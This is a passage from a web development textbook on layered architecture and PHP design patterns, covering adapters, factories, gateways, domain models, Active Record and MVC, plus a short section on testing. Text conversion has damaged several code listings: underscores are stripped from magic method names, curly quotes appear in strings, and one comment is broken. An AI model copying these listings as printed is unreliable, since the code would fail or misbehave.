However, some web applications are not only concerned with the display of
database information but also need to gather and validate user input
according to complex criteria and perhaps interact with a series of
complicated external and legacy systems. These types of web applications are
often hidden behind firewalls and are part of a company's intranet. In such
complicated applications, the two-layer model is insufficient.

The drawbacks of the two-layer model are perhaps most clearly seen in the
case of business rules and processes, which can be seen in Figure 17.4 . It
shows that the complex logic involved in the business rules and processes
does not fit very well into either the presentation or the data layer.



Figure 17.4 Business rules and
processes
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A business rule refers not only to the usual user-input validation that was
covered in Chapter 15, but also to the more complex rules for data that are
specific to an organization's methods for conducting its business.

For instance, in the Book CRM case study given at the end of every chapter,
the site might need the ability for a salesperson to order a preview (free) copy
of a book for an institutional client. This will ultimately require a data entry
form that allows the user to select a book and a client, and then the system
will write the information to an order table. However, the business might
have a series of rules that must be satisfied before the order is accepted.
Maybe clients are only allowed preview copies of books that have been
published for under a year and who have not ordered more than three preview
copies in the past six months (unless they have ordered more than two books
for their classes in the past three years).

Similarly, real-world web applications also must implement a business
process (also called a workflow), which refers to activities that an application
must perform as part of a business procedure. For instance, in the example
from the previous paragraph, once the rules have been satisfied, more must
happen than just writing a record to the order table. Maybe a message has to
be sent to the inventory system that will be responsible for fulfilling the
order. Maybe emails need to be sent to both the salesperson and the client.

So where do business rules and processes belong? What if there were many
more business rules needed in the application? Do they belong within the
PHP of the order form? Such complexity within the user interface will result
in a very complex data entry page. Do they belong instead in the data access
layer? Since most data access layer classes simply handle CRUD
functionality, business rules and processes do not fit well within a class
whose main purpose is to interact with a database.

For these reasons, many developers instead use a three-layer model in which
a business layer (also called a domain layer) has the responsibility for
implementing business rules and processes. Figure 17.5 illustrates the high-
level design of a three-layer model.





Figure 17.5 Three-layer model
Figure 17.5 Full Alternative Text

Some authors refer to the classes within the “middle” layer of a three-layer
model as business objects; other authors call them entities or domain objects.
Regardless of what they are called, business objects represent both the data
and behavior of objects that correspond to the conceptual domain of the
business. A simple domain layer would have domain/business objects that
correspond quite closely to the database table. For instance, in Figure 17.6 ,
the Painting class is closely modeled on the Painting table in that it
contains properties that correspond to fields in the table. Notice, however,
that it doesn't contain properties that correspond to foreign keys; instead it
has properties of the appropriate types: for instance, an Artist object rather
than an ArtistID.



Figure 17.6 Simple mapping of
tables to domain objects
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In a more complicated domain layer, some domain objects might not map to
a single table, but instead map to multiple tables and also contain a wide
variety of behaviors. For instance, in Figure 17.7 , the Order object is quite
complex, in that it not only has data that consists of complex objects, but also
has behaviors that implement complex business processes.

Figure 17.7 Complex domain
object

Figure 17.7 Full Alternative Text

The next several sections of this chapter will describe and partially
implement the basics of a two- and three-layer architecture in PHP. They will
do so in the context of describing a variety of basic and advanced design
patterns.



Pro Tip
Another common approach to layers in web applications is the MVC (model-
view-controller) approach. While somewhat similar to the three-layer model
shown here, the business process aspect is usually contained within the
controller, while the functionality contained in the data access layer and the
business rules in the domain layer are usually contained within the model.
The view in the MVC approach is similar to the presentation layer in that it
has the responsibility of presenting the data in the model to the user;
however, in the MVC approach, the controller is responsible for processing
user input and for coordinating interaction with the model. The MVC
approach will be examined in more detail in Section 17.5.1.



17.3 Software Design Patterns in the
Web Context
Over time as programmers repeatedly solved whole classes of problems,
consensus on best practices emerged for how to design software systems to
solve particular problems. These best practices were generalized into reusable
solutions that could be adapted to many different software projects. They are
commonly called design patterns, and they are useful tools in the developer's
toolbox. They are sometimes criticized for being needlessly abstract, but they
provide a core set of best practices to help you benefit from the experience
and expertise of others.

Broadening your experience to include more ideas (like design patterns) puts
more tools in your toolbox, so you can use the right tool when you encounter
a problem rather than always use the same old techniques. Design patterns
are not panaceas that will solve all your problems, but they will help you
design better code if used thoughtfully. As well, it is not uncommon for
experienced programmers in group settings to use the names of common
patterns when discussing or describing possible solutions to problems. For
instance, one programmer might tell several others: “Why don't we have a
factory create command objects that are customized by decorators?” While
this might sound like a fanciful or even nonsensical sentence, to one familiar
with design patterns, it is a clear and concise way to describe a whole lot of
programming code.

The most common design patterns are those that were identified and named
in the classic 1995 book Design Patterns: Elements of Reusable Object-
Oriented Software.4 This book identified 23 patterns, and while some of
them are of limited applicability to web applications, there are several that are
quite helpful in the web development context.

17.3.1 Adapter Pattern



The Adapter pattern is used to convert the interface of a set of classes that we
need to use to a different but preferred interface. The main benefit of this
pattern is that it decouples the client (in the context of discussing patterns, the
term client means the classes that are using the pattern classes) from the
interface of the consumed class.

The Adapter pattern is frequently used in web projects as a way to make use
of a database API (such as PDO or mysqli) without coupling the pages over
and over to that database API. As mentioned earlier in the chapter, real-world
websites occasionally change either the database or the API used to access it
as the site grows in complexity or in the scale of its data or requests. Making
use of an Adapter insulates the majority of the application from such future
change. Indeed, one of the first steps some designers take when starting a
new web application project is to write (or reuse) a database API adapter.
Figure 17.8 illustrates the design of a sample database adapter.



Figure 17.8 A database API
adapter

Figure 17.8 Full Alternative Text

So what would the code for this adapter look like? As can be seen in Figure
17.8 , the Adapter pattern must first define an interface. In this example, we
want the adapter to describe the functionality that any database adapter will



need. This includes not only the ability to create and close connections, run
SELECT, UPDATE, INSERT, and DELETE queries, as well as handle transactions.
One version of this interface can be seen in Listing 17.1.

Hands-on Exercises Lab 17
Exercise
Creating a Database Adapter

Listing 17.1 Interface for adapter
<?php 

/* 

  Specifies the functionality of any database adapter 

*/ 

interface DatabaseAdapterInterface 

{ 

    function setConnectionInfo($values=array()); 

    function closeConnection(); 

     

    function runQuery($sql, $parameters=array()); 

    function fetchField($sql, $parameters=array()); 

    function fetchRow($sql, $parameters=array()); 

    function fetchAsArray($sql, $parameters=array()); 

     

    function insert($tableName, $parameters=array()); 

    function getLastInsertId();     

    function update($tableName, $updateParameters=array(),  

                    $whereCondition='', $whereParameters=array());    

    function delete($tableName, $whereCondition=null,  

                    $whereParameters=array()); 

    function getNumRowsAffected(); 

     

    function beginTransaction(); 

    function commit(); 

    function rollBack();     

} 

?>



As shown in Figure 17.8 , the next step is to create one or more concrete
implementations of the adapter. One could create, for instance, a PDO
adapter as well as a mysqli adapter. Listing 17.2 provides a partial
implementation of a concrete adapter for PDO; the complete text can be
found in the book's downloadable sample code.

Listing 17.2 Concrete
implementation of adapter interface
<?php 

/* 

  Acts as an adapter for our database API so that all database API specific code will reside here in this class. In this example, we will use the PDO API.

*/ 

class DatabaseAdapterPDO implements DatabaseAdapterInterface 

{ 

   private $pdo; 

   private $lastStatement = null;    

   public function     construct($values) { 

      $this->setConnectionInfo($values); 

   } 

   /* 

     Creates a connection using the passed connection information 

   */     

   function setConnectionInfo($values=array()) { 

      $connString = $values[0]; 

      $user = $values[1];  

      $password = $values[2]; 

      $pdo = new PDO($connString,$user,$password); 

      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

      $this->pdo = $pdo;       

   } 

   /* 

     Executes a SQL query and returns the PDO statement object 

   */ 

   public function runQuery($sql, $parameters=array()) { 

      // Ensure parameters are in an array 

      if (!is_array($parameters)) { 

         $parameters = array($parameters); 

      } 

         

      $this->lastStatement = null; 



      if (count($parameters) > 0) { 

          // Use a prepared statement if parameters 

          $this->lastStatement = $this->pdo->prepare($sql); 

          $executedOk = $this->lastStatement->execute($parameters);

          if (! $executedOk) { 

             throw new PDOException; 

          } 

      } else { 

          // Execute a normal query 

          $this->lastStatement = $this->pdo->query($sql);  

          if (!$this->lastStatement) { 

              throw new PDOException; 

          } 

      } 

      return $this->lastStatement; 

   } 

   // implementations of all the other methods defined in the interface

}

As indicated in the comments to the class, now all PDO-related programming
is contained within the DatabaseAdapterPDO class. Any client classes (or
pages) that needs to make use of the database will do so via the concrete
adapter:

$connect = array(DBCONNECTION, DBUSER, DBPASS); 

$adapter = new DatabaseAdapterPDO($connect); 

$sql = 'SELECT * FROM Paintings WHERE PaintingId=?'; 

$results = $adapter->runQuery($sql, array(5));

While this sample code clearly contains no PDO code, it is not exactly free
from dependencies to our database API. This code sample contains a
dependency via the explicit instantiation of the DatabaseAdapterPDO class. If
you at some point switch to a different adapter, you will need to change every
instantiation to the appropriate concrete adapter. The solution to this problem
can be found in the next design pattern.

17.3.2 Simple Factory Pattern
The previous section used the Adapter pattern as a means of eliminating a
dependency to an interface that might change. Unfortunately, a type of
dependency slipped into the client code in the instantiation of the particular



concrete adapter. The solution to this problem is to make use of the Simple
Factory pattern. A factory is a special class that is responsible for the creation
of subclasses (or concrete implementations of an interface), so that clients are
not coupled to specific subclasses or implementations.

Note
There are several different types of Factory pattern. The Design Patterns
book identifies two patterns: the Factory Method and the Abstract Factory.
The Simple Factory pattern is, as its name suggests, a simpler alternative to
these other two factories.

In programming languages such as C# or Java, a Factory Method with early
binding might be created via conditional logic similar to the following
pseudo-code:

If requested == 'PDO' Then 

   Return new PDOAdapter() 

Else If requested == 'oracle' Then 

   Return new OracleAdapter() 

Else If requested 'odbc' then 

   Return new OdbcAdapter() 

etc.

However, since PHP is a late-binding language, you can create a factory class
that avoids conditional logic by dynamically specifying at run time the
specific class name to instantiate, as shown in Listing 17.3.

Hands-on Exercises Lab 17
Exercise
Creating a Simple Factory



Listing 17.3 Factory Method class
for creating the adapters
<?php 

/* 

  An example of a Factory Method design pattern. This one is 

  responsible for instantiating the appropriate data adapter 

/* 

class DatabaseAdapterFactory { 

   /* 

     Notice that this creation method is static. The $type parameter is used to specify which adapter to instantiate

   */ 

   public static function create($type, $connectionValues) { 

       $adapter = “DatabaseAdapter” . $type; 

       if ( class_exists($adapter) ) { 

          return new $adapter($connectionValues); 

       } 

       else { 

          throw new Exception(“Data Adapter type does not exist”);

       } 

   }  

} 

?>

To use this class, you would simply have code similar to the following:

$adapter = DatabaseAdapterFactory::create('PDO', $connectionValues);

$results = $adapter->runQuery('SELECT * FROM Artists');

In this example the string 'PDO' is hard-coded as a parameter to the create()
method. In a real site, this string would likely be hidden within a global
constant, or, even better, read in from a configuration file so that the use of
the adapter factory would contain no dependencies.

Note
For the code in Listing 17.3 to work, the adapter implementation classes have
to be already loaded. Rather than provide an include() or require() for



each possible implementation class that the factory might instantiate, a better
approach in PHP is to include an autoloader function at the top of each PHP
page. For instance, the following autoloader will automatically load any
required class in the myclassfiles folder with the extension .class.php. This
eliminates the need to provide include() or require() statements for each
of the classes used in your application.

<?php

spl_autoload_register(function ($class) {

   $file = '/myclassfiles/' . $class . '.class.php';

   if (file_exists($file))

     include $file;

});

?>

17.3.3 Template Method Pattern
The Template Method pattern is one of the most essential of the 23 classic
design patterns. Indeed, many object-oriented developers use this pattern
without even realizing it is a pattern. In this pattern, one defines an algorithm
in an abstract superclass and defers the algorithm steps that can vary to the
subclasses. For instance, Figure 17.9 illustrates the design of a sample data
access layer that makes use of the Template Method pattern.



Figure 17.9 Template Method
pattern

Figure 17.9 Full Alternative Text
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Using The Template Method Pattern

Our data access layer contains a variety of data access objects (Section 17.4.1
will discuss table gateways) whose main responsibility is to retrieve
information from their associated database table. The main algorithms for
retrieving data (the findAll() and findByKey() methods) are defined within
the abstract superclass for all the data access objects, which is shown in
Listing 17.4.

But since each table will have different SQL SELECT statements for these two
tasks, each concrete subclass implements its own version of the template
methods getSelectStatement() and getPrimaryKeyName(). Two sample
concrete subclasses that implement these two template methods are shown in
Listing 17.5.

Listing 17.4 Abstract superclass for
data access objects
abstract class TableDataGateway 

{ 

   … 

   // The select statement for the table 

   abstract protected function getSelectStatement(); 

    

   // The name of the primary keys in the database 

   abstract protected function getPrimaryKeyName(); 

   /* 

     Returns all the records in the table 

   */ 

   public function findAll() 

   { 

      $sql = $this->getSelectStatement(); 

      $results = $this->dbAdapter->fetchAsArray($sql); 

      return $results; 

   }   

   /* 

     Returns a single record indicated by the specified key field 

   */ 

   public function findById($id) 

   { 



      $sql = $this->getSelectStatement(); 

      $sql .= ' WHERE ' . $this->getPrimaryKeyName() . '=:id'; 

      $result = $this->dbAdapter->fetchRow($sql, Array(':id' => $id));

      return $result; 

   } 

}

Listing 17.5 Example subclasses
class ArtistTableGateway extends TableDataGateway 

{     

   …   

   protected function getSelectStatement()   

   { 

      return “SELECT ArtistID,FirstName,LastName,Nationality FROM 

              Artists”; 

   }   

   protected function getPrimaryKeyName() { 

      return “AuthorID”; 

   } 

} 

class PaintingTableGateway extends TableDataGateway 

{     

   …    

   protected function getSelectStatement()   

   { 

      return “SELECT PaintingID,Title,Description, … FROM Paintings”;

   }   

   protected function getPrimaryKeyName() { 

      return “PaintingID”; 

   } 

}

17.3.4 Dependency Injection
Although Dependency Injection is not one of the original 23 design patterns
identified in the Design Patterns book, it has become one of the most
essential software design patterns (and thankfully one of the simplest). It was
first identified and named by Martin Fowler5; its purpose is to reduce the
number of dependencies within a class, by passing (injecting) potential



dependencies into a class rather than hard-coding them into the class.

For instance, consider the TableDataGateway class from Listing 17.4. The
class needs an object that implements the DatabaseAdapterInterface (see
Section 17.3.1) in order to perform queries. One approach would be to
provide a private data member in the TableDataGateway and instantiate the
object in the constructor:

abstract class TableDataGateway 

{ 

   protected $dbAdapter; 

   public function     construct() 

   { 

      $connect = array(DBCONNECTION, DBUSER, DBPASS); 

      $dbAdapter = DatabaseAdapterFactory::create(ADAPTERTYPE, 

                                                   $connect); 

   } 

   … 

   public function findAll() 

   { 

      $sql = $this->getSelectStatement(); 

      $results = $this->dbAdapter->fetchAsArray($sql); 

      return $results; 

   } 

   … 

}

While such an approach has the benefit of encapsulation, adding an explicit
hard-coded dependency does have some drawbacks. The above code is not
only dependent on four different constants; it is also dependent upon the
DatabaseAdapterFactory. Now some class or page somewhere is going to
have to be dependent upon the DatabaseAdapterFactory class; however, by
making TableDataGateway dependent upon it, it is less testable and less
reusable.

Dependency Injection provides a solution to this problem; it refers to the
practice of giving a class its dependencies through its constructors, methods,
or directly into fields. Many current PHP and JavaScript frameworks make
extensive use of Dependency Injection. For instance, in Chapter 20, you will
see that the AngularJS framework makes frequent use of dependency
injection. Listing 17.6 demonstrates how we can change the constructor to
TableDataGateway so that the dependency to DatabaseAdapterFactory is



eliminated.

Listing 17.6 Dependency Injection
example
abstract class TableDataGateway 

{ 

   protected $dbAdapter; 

   public function     construct($dbAdapter) 

   { 

      if (is_null($dbAdapter) ) 

         throw new Exception(“Database adapter is null”); 

      $this->dbAdapter = $dbAdapter; 

   } 

   … 

}

Now that the constructor has been rewritten, it will be invoked in the
following fashion:

$connect = array(DBCONNECTION, DBUSER, DBPASS); 

$dbAdapter = DatabaseAdapterFactory::create(ADAPTERTYPE,$connect);

$gate = new ArtistTableGateway($dbAdapter);

While this may not seem like much of an advance, it is now clearer looking at
the constructor what the dependencies are of the TableDataGateway class
(and its subclasses).



17.4 Data and Domain Patterns
The previous section provided some examples of common design patterns
used in the context of a web application. The focus of those design patterns is
generally at a rather low level. But for larger problems, such as how should
one design a program's interaction with a database or implement business
rules, the classic 23 design patterns provide fewer answers. Since the
publication of Martin Fowler's 2003 book Patterns of Enterprise Application
Architecture, many in the software development community have been
focusing on so-called enterprise patterns, which provide best practices for the
common type of big-picture architectural problems faced by application
developers. Earlier in the chapter, we alluded to the principle of layering as
one of these best practices. The rest of this section will introduce some of
these enterprise patterns as they apply to the context of web development.

17.4.1 Table Data Gateway Pattern
Fowler's Table Data Gateway pattern is essentially the same as what Section
17.2.3 also called a data access object. A gateway is simply an object that
encapsulates access to some external resource. Thus a table data gateway
provides CRUD access to a database table (or perhaps joined tables). Figure
17.10 illustrates how this pattern might be used to construct the basics of a
data access layer. Notice that most of the common code resides within the
superclass (and takes advantage of the Template Method pattern), while each
subclass defines the code unique to that table.



Figure 17.10 Table Data
Gateways
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Hands-on Exercises Lab 17
Exercise
Using the Table Data Gateway Pattern

One of the interesting questions about this pattern is what type of data should
the retrieve functions (for instance, the findAll() or findByKey() methods)
return?

They could return whatever data type the underlying database API returns



(for instance, a PDOStatement or a mysqli_result object), but that would
make the gateway's clients dependent upon the implementation details of the
gateway, which is most certainly to be avoided.

Another alternative is to return an associative array, where the key names are
the same as the underlying table field names, as shown in the following
example:

$gate = new ArtistTableGateway($dbAdapter); 

$results = $gate->findAll(); 

foreach ($results as $artist) { 

  echo $artist['LastName'] . '-' . $artist ['Nationlity']; 

}

There are several problems with the above code. Can you find any of them?
First, database details (the field names) have leaked into the client of the
gateway. As well, there can be no parse-time checking whether such a field
exists, and is therefore very prone to have difficult-to-find bugs when the
developer mistypes the key name (the code above in fact has misspelled the
field 'Nationality' to illustrate how easy it is for this type of error to escape
programmer detection).

A better alternative is to return some type of dedicated domain or business
object. For instance, in a modified version of the above example, the code
could return a collection of Artist objects; as such, the code might look like
the following:

$gate = new ArtistTableGateway($dbAdapter); 

$artistsCollection = $gate->findAll(); 

foreach ($artistsCollection as $artist) { 

  echo $artist->LastName . '-' . $artist->Nationality; 

}

While this may not look like that much of an improvement, by referencing
class properties instead of associative array keys, the PHP parser will catch
any typing mistakes in the property names. The next section will discuss
some of the approaches in creating these specialized domain classes.

17.4.2 Domain Model Pattern



For programmers who are familiar with object-oriented design, the Domain
Model pattern is a natural one. In it, the developer implements an object
model: that is, a variety of related classes that represent objects in the
problem domain of the application. The classes within a domain model will
have both data and behavior and will be the natural location for implementing
business rules. Remember that these domain objects are also referred to as
entity or business objects back in the discussion on the business layer back in
Section 17.2.3.

Hands-on Exercises Lab 17
Exercise
Creating Domain Classes

An example of a simple domain model class might look like that shown in
Listing 17.7. Notice that this example domain class contains no logic for
retrieving or saving itself.

Often the domain model will be similar to the database schema, in that the
different domain classes will mirror the tables in the underlying database,
while properties within the class will mirror the fields within the table. The
example class in Listing 17.7 is just such an example. However, a proper
domain model will be organized around design principles and not around a
database schema. For instance, we may want each Artist object to have easy
access to a collection of all art works by that artist, as well as an optionally
filled collection of all customers who have purchased an art work by that
artist. Neither of these two collections is directly mirrored by our database
schema (though of course the collections will be filled from the database).

Listing 17.7 Example of simple
domain object



class Artist 

{ 

   // properties for the class 

   private $id; 

   private $firstName; 

   private $lastName; 

   private $nationality; 

   private $yearOfBirth; 

   private $yearOfDeath; 

    

   // example getter and setter with validation 

   public function getLastName() { 

      return $this->lastName; 

   } 

   public function setLastName($value) { 

      if (!is_string($value) || strlen($value) < 2 ||  

          strlen($value) > 255) { 

         throw new InvalidArgumentException(“ The last name is  

                                               invalid.”); 

      }    

      $this->lastName = $value; 

   } 

   // etc. … getters and setters for other five properties 

    

   // other behaviors 

   public function getFullName($commaDelimited)  { 

      if ($commaDelimited) 

         return $this->lastName . ', ' . $this->firstName; 

      else 

         return $this->firstName . ' ' . $this->lastName; 

   } 

   public function getLifeSpan() { 

      return $this->yearOfDeath - $this->yearOfBirth; 

   } 

}

Getters and Setters in Domain
Objects
Creating the properties along with their getters and setters for all the domain
objects in a model can be very tedious, especially if there are many classes
with many properties. For traditional programming languages such as C# or



Java, dedicated development environments such as Visual Studio and Eclipse
can generate getters and setters for the developer. PHP does provide its own
type of shortcut via the    get() and    set() magic methods (which were
briefly introduced in Chapter 13).

The    get() method is called when a client of a class tries to access a
property that is not accessible. Thus, we could replace all of the property
getters in Listing 17.7 with the following magic method:

public function     get($name) {   

   if ( isset($this->$name) ) {   

      return $this->$name;   

   }   

   return null;   

}

Part of the magic in this magic method resides in PHP's ability to have
variable variables (that's not a misprint, they are actually called this in the
official PHP documentation). These are variables whose variable name is
determined dynamically at run time based on the value of the variable. For
instance, in the code above, if $name contains the string 'yearOfBirth' then
$this->$name (notice the $ in front of both this and name) will be equivalent
to $this->yearOfBirth.

We can use the    set() magic method in a similar way to eliminate setters,
though doing so is somewhat more complicated. Some setters need validation
checks, while others can simply set the content of the property variable. Thus
the    set() magic method (defined within a class called DomainObject,
which we will describe shortly) should use a setter method if it exists, as
shown in Listing 17.8.

Listing 17.8 Example    set() magic
method
class DomainObject {      

  … 

  public function     set($name, $value) { 



     $mutator = 'set' . ucfirst($name); 

     // if mutator method is defined than call it 

     if (method_exists($this, $mutator) && 

         is_callable(array($this, $mutator))) { 

        $this->$mutator($value);            

     } 

     else { 

        $this->$name = $value; 

     } 

  } 

}

Along with the    get() and    set() methods, one must also define a
magic method for    isset(), which will get called when isset() is called
on a property that isn't accessible or doesn't exist.

public function     isset($name) { 

   return isset($this->$name); 

}

In the example code that accompanies this chapter, all the domain objects
inherit from a custom-based class called DomainObject, which contains all
the magic methods (and which is included in the book's sample code). Figure
17.11 illustrates the domain classes for the sample Art database.



Figure 17.11 Example domain
model

Figure 17.11 Full Alternative Text

Rather than explicitly defining the properties as in Listing 17.7, each subclass
has an array of property names (that match the field names in the underlying
table), which is then used by the magic methods within DomainObject. Only
setters that require validation logic need to be explicitly implemented. This
results in quite lightweight domain classes, as shown in Listing 17.9.



Listing 17.9 Example domain class
class Artist  extends DomainObject 

{      

   static function getFieldNames() { 

      return array('ArtistID','FirstName','LastName','Nationality',

        'YearOfBirth', 'YearOfDeath','Details','ArtistLink'); 

   } 

   public function     construct(array $data)  { 

      parent::   construct($data); 

   } 

    

   // implement any setters that need input checking/validation 

    

   public function setLastName($value) { 

      if (!is_string($value) || strlen($value) < 2 ||  

        strlen($value) > 255) { 

         throw new InvalidArgumentException(“ The last name is  

   invalid.”); 

      }    

      $this->lastName = $value; 

   } 

   // implement any other behavior needed by this domain object 

}

To use this class, your code can reference the properties; for those properties
that have explicit setters defined (for instance, LastName in Listing 17.9), the
magic    set() method defined in Listing 17.8 will invoke it:

$artist = new Artist(); 

// no setter for FirstName so    set() just assigns value 

$artist->FirstName = 'Pablo'; 

// there is setter for LastName so    set() calls setLastName() 

$artist->LastName = 'Picasso';

17.4.3 Active Record Pattern
You may be wondering what class would have the responsibility of
populating the domain objects from the database data or of writing the data
within the domain object back out to the database. In the example code



provided for this chapter, the different table gateway classes have that
responsibility (for domain models using the Data Mapper pattern, the mapper
classes would have that responsibility). An example of the code for retrieving
and saving data might look similar to that shown in Listing 17.10:

Hands-on Exercises Lab 17
Exercise
Transitioning to the Active Record Pattern

Listing 17.10 Retrieving and saving
data using a domain object and a
gateway
// use artist gateway to retrieve a specific artist 

$gate = new ArtistTableGateway($dbAdapter); 

$artist = $gate->findByKey($id); 

echo $artist->LastName . ', ' . $artist->FirstName; 

… 

// make a change to domain object 

$artist->LastName = 'Picasso'; 

// then use gateway to save it 

$gate->update($artist);

Pro Tip
The code shown in Listing 17.9 depends on there being a one-to-one mapping
between the property names of the class and the field names in an underlying
table or query. In many real-world cases, this would likely be an unrealistic
assumption. In such a case, some type of data mapper (from Fowler's Data
Mapper pattern) would be required to map the data from table fields into the



object's properties. Creating a set of data mappers that are not closely coupled
to the specifics of the database's tables and fields is not a simple matter, and
is beyond the scope of this chapter.

Rather than developing this infrastructure themselves, some developers make
use of third-party ORM (object-relational mapping) libraries or frameworks
such as Doctrine, Propel, or CakePHP. In Chapter 20, we will make use of
the Mongoose ORM for the Node.js environment.

Another common alternative is to use what is often called the Active Record
pattern. In this pattern, the domain objects have the responsibility for
retrieving themselves from the database, as well as responsibility for updating
or inserting the data into the underlying database. In this pattern, the
properties of each class must mirror quite closely the underlying table
structure. Figure 17.12 illustrates the design of an active record version of the
Artist class along with a collection class for it. In comparison to the Artist
class shown in Figure 17.11 , the one in Figure 17.12 encapsulates both data
access and domain logic. The active record equivalent of the code in Listing
17.10 is shown in Listing 17.11.



Figure 17.12 Active Record
version of the Artist and
ArtistCollection classes
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The advantage of the Active Record pattern is that it makes the client code
quite clean and clear. Its disadvantage is that it closely couples the domain
object's design to the underlying table. For many PHP projects this might not
be that significant a drawback, but for larger more complex applications, this
coupling may be limiting. As well, the Active Record pattern creates classes
that are incohesive in that they contain both domain logic and data access
logic (even if it's possible to minimize this by delegating the actual data



access to gateway classes as shown in Figure 17.12 ). The need for static
methods is also a potential problem because they are more difficult to unit
test.

Listing 17.11 Retrieving and saving
data using active record pattern
// use static method of Artist class to find a specific artist 

$artist = Artist::findByKey($id); 

echo $artist->LastName . ', ' . $artist->FirstName; 

… 

// make a change to domain object 

$artist->LastName = 'Picasso'; 

// then tell domain object to update itself 

$artist->update();



17.5 Presentation Patterns
A significant proportion of all web projects is spent developing and
modifying the user experience. Looking at the chapters of this book, it may
be clear that there is a lot to learn in order to construct professional-quality
web user interfaces. As such, it should be no surprise that there are also
patterns for the presentation layer.

17.5.1 Model-View-Controller
(MVC) Pattern
The Model-View-Controller (MVC) pattern actually predates the whole
pattern movement, as it began as a user-interface framework for the
SmallTalk (early object-oriented language) platform of the 1970s. It has
played an enormous role in the thinking and designing of many subsequent
user interface frameworks. There are many subtle (and not so subtle)
variations of the MVC pattern, including several for PHP and JavaScript.

The MVC pattern divides an application into classes that fall into three
different roles: the model, the view, and the controller. The model represents
the data of the application. These could be the domain model classes, active
record classes, table gateway classes, or something else. The key point is the
model contains no user interface or application logic. The view represents the
display aspects of the user interface. The controller acts as the “brains” of the
application and coordinates activities between the view and the model. It also
handles user interface event processing for the user interface. The controller
listens for and handles any events from the user by updating the model. The
model notifies any views that are listening that it has changed; the views then
retrieve this data from the model and refresh their display. This process is
shown in Figure 17.13 .



Figure 17.13 Classic Model-
View-Controller (MVC)
pattern

Figure 17.13 Full Alternative Text

It should be noted that the MVC pattern was developed for desktop
applications in which the Observer pattern (or something similar such as
event listeners) could be used by the views so that they could update
themselves whenever the model changed.

Things become more complicated when the MVC pattern is applied to the
web context. The model in MVC is pretty clear: it is generally something
similar to the domain model that was discussed in the previous section
(though it could also be just the gateway classes). With contemporary AJAX-
based websites, however, some aspects of the model may also be



implemented in JavaScript as well. The trickier question is: what corresponds
to the View and the Controller? The View is not just the HTML and CSS but
also the PHP that generates it as well as presentation-oriented JavaScript. The
Controller is likely partially implemented in JavaScript and partially in PHP,
as shown in Figure 17.14 .

Figure 17.14 MVC split
between the client and the
server

Figure 17.14 Full Alternative Text

There are other differences between a web MVC and a desktop MVC. There
is no way for the views to listen for changes in the model as in the classic
MVC model since the model principally (or entirely) exists on a different
machine from the view. Another difference is that in desktop applications, the



model is a set of objects that stay populated for the life of the application. In a
PHP application, these objects exist only as long as the script is executing
and disappear after the request is processed.

One of the key design decisions to make when implementing a web MVC
application is whether the controller will be a server-side PHP controller or a
client-side JavaScript controller. It is possible for the controller to be both as
illustrated in Figure 17.15 .

Figure 17.15 Response in the
MVC between client and server

Figure 17.15 Full Alternative Text

In Figure 17.15 the dotted lines show the flow through a JavaScript controller
while a direct request to the server is shown as a solid line. Either way the
request is eventually processed by the server-side controller, which updates
the underlying model and databases (if applicable). The pathway of the



response depends on who sent it, but as shown in Figure 17.15 , the path goes
back through the server-side controller and then either direct to the view in
the form of HTML or through the client-side controller, which updates the
view with JavaScript.

There are many MVC frameworks available in JavaScript and PHP. It should
be noted that these available frameworks use either a PHP controller or a
JavaScript controller, and not both as in Figure 17.15 .

On the JavaScript side, some of the most popular MVC frameworks include
Backbone.js, AngularJS, and Ember.js. We will explore and use the
AngularJS MVC framework in Chapter 20. On the PHP side, CakePHP, the
Zend Framework, Symfony, and CodeIgnitor are four of the leading MVC-
based PHP frameworks. Most PHP frameworks also come with some type of
infrastructure for implementing the model classes using the Active Record or
Data Mapper patterns.

17.5.2 Front Controller Pattern
The Front Controller pattern consolidates all request handling into a single-
handler class. It is often coupled with the MVC pattern, but it can be used
with non-MVC architectures as well. The rationale for the front controller is
that in more complex websites every request requires similar types of
processing. For instance, URLs might contain information within the URL
(and not in the query string) that provides routing information (i.e., specifies
which controller to use) that needs to be extracted. Each request might
require custom authentication by examining authorization headers or need to
initialize server caching systems.

One approach to this standardized behavior is to provide this functionality to
each page via common include files. A more object-oriented approach is to
use a front controller, in which one (or a small number) script or class is
responsible for handling every incoming request and then delegating the rest
of the handling to the appropriate handler. Figure 17.16 illustrates a typical
front-controller approach.



Figure 17.16 Front Controller
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Pro Tip
The Front Controller pattern makes use of a classic design pattern: the
Command pattern. In this pattern, each request is encapsulated into a separate
concrete command object. Each of these command objects can then be
modified by using the Decorator design pattern (e.g., one decorator does
authentication, another does encoding/decoding, etc.).



17.6 Testing
Testing is an essential part of any software development workflow. As a
student, you likely do your testing in an ad hoc and fairly limited manner
(though your professors would likely claim their students do no testing).
Testing specialists (also called Quality Assurance or QA specialists) focus on
finding potential problems with software. In contemporary software
development methodologies, developers are also often expected to perform
frequent testing as part of the development lifecycle.

This is a large topic that every developer needs to learn and master. This
book does not have the space to address that need. There are many excellent
books on this topic, such as Agile Testing,6 Continuous Delivery,7 How
Google Tests Software,8 and Test-Driven Development by Example.9

There are, generally speaking, two types of testing in regards to web
applications.

Functional testing is testing the system's functional requirements. Functional
testing for web applications involves certain challenges, since functionality is
spread across the client and server side. Web applications need to be tested in
different browsers and in different devices (desktop, tablets, and phones).

Non-functional testing refers to a broad category of tests that do not cover the
functionality of the application, but instead evaluate quality characteristics
such as usability, security, and performance. While non-functional testing can
happen for desktop applications, certain non-functional tests are vital for web
applications. Security threats are much more acute with web applications and
typically require a completely different testing approach known as
penetration testing. Performance and load testing, in which a web application
is given different demand (request) levels to evaluate a system's performance
under normal and peak loads, is typically far more important to web
developers than desktop developers.

As mentioned above, while we do not have the space to adequately cover



testing, the nearby Tools Insight section discusses some sample web testing
tools.

Tools Insight

Automated Testing
One of the real improvements in testing over the past decade has been in the
area of test automation tools. Instead of having a human run tests, these tools
run a test case suite automatically. These tools are ideal for tests that need to
be run frequently, or are tedious to perform for humans, or for time-
consuming tests.

Some of the leading test automation tools in the web context include Telerik
TestStudio, HP Unified Functional testing (formerly QTP), TestComplete,
and the open-source Selenium. These tools typically involve programming
test scripts and working with some type of multibrowser remote control
system. Figure 17.17 illustrates the basic workflow and architecture of how
testing works with the popular Selenium system.



Figure 17.17 Workflow and
architecture of the Selenium
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17.7 Chapter Summary
In this chapter we tried to illustrate why using an ad hoc approach to creating
web applications is flawed. As an alternative, we presented a few
fundamental software design patterns that solve some commonly encountered
problems. A variety of design patterns were described, from the layered
approach, through the data and domain patterns, and finally patterns that
relate to the presentation (HTML) of your site.
